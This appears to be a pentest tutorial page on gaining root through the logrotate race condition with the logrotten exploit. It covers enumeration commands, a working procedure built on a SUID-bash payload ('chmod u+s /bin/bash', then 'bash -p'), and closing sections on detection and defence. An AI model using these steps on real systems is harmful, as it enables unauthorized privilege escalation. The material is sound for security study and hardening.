Logrotate abuse (logrotten)

logrotate is the Linux utility that rotates, compresses and deletes old logs. It usually runs periodically as root (via cron). Versions 3.18.0 and earlier suffer a race condition an unprivileged user can exploit to write arbitrary files as root, as long as they have write access to a log that logrotate rotates (or to its directory).

The flaw (race condition)

During rotation, logrotate creates the new log file and, between checking the path and writing to it, there is a window. The logrotten exploit wins that race by replacing the freshly rotated log with a symbolic link to a sensitive target. logrotate, running as root, follows the link and writes the attacker-controlled content there, achieving an arbitrary write as root.

Enumeration

Confirm the version, the frequency and which log rotates, and which one we can write:

logrotate --version                 # 3.18.0 or earlier -> vulnerable
cat /etc/logrotate.conf; ls -la /etc/logrotate.d/
find / -writable -name '*.log' 2>/dev/null

logrotate is often triggered by a root cron; pspy reveals it without reading root's crontab (pspy).

Typical targets

Anywhere a write-as-root turns into code execution:

• A script in /etc/cron.d/ or /etc/cron.daily/ that will run as root.
• Shell or service initialisation files.
• The classic payload chmod u+s /bin/bash: set the SUID bit on bash and then bash -p to keep root's effective UID (SUID abuse).

Procedure

echo 'chmod u+s /bin/bash' > payload
gcc -o logrotten logrotten.c
./logrotten -p ./payload /path/to/the/rotated/log
# trigger the rotation by writing to the target log:
echo a > /path/to/the/rotated/log
# after the next cycle:  bash -p  ->  euid=0

The forgotten step: after launching the exploit you must trigger the rotation by writing to the log; if the file does not change, logrotate does not rotate and the exploit never fires.

How to detect it. The signature is a logrotate process (or its parent cron) following a symlink or writing outside the log tree: auditd over open/openat with O_CREAT on paths like /etc/cron.d/ or /bin with logrotate as ppid is unmistakable, because a legitimate rotation only touches /var/log. The creation of a symbolic link in the log directory just before rotation, and a SUID bash appearing right after, close the chain.

Defence. Update logrotate (modern versions mitigate the race); do not grant users write access to logs rotated by a privileged process; run user-log rotation without root privileges; use su/createolddir carefully. Related to spying on processes with pspy and cron task abuse in general.